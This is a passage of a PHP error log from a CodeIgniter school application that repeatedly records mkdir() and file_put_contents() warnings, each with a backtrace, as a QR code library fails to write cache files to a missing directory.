			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:50:56: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

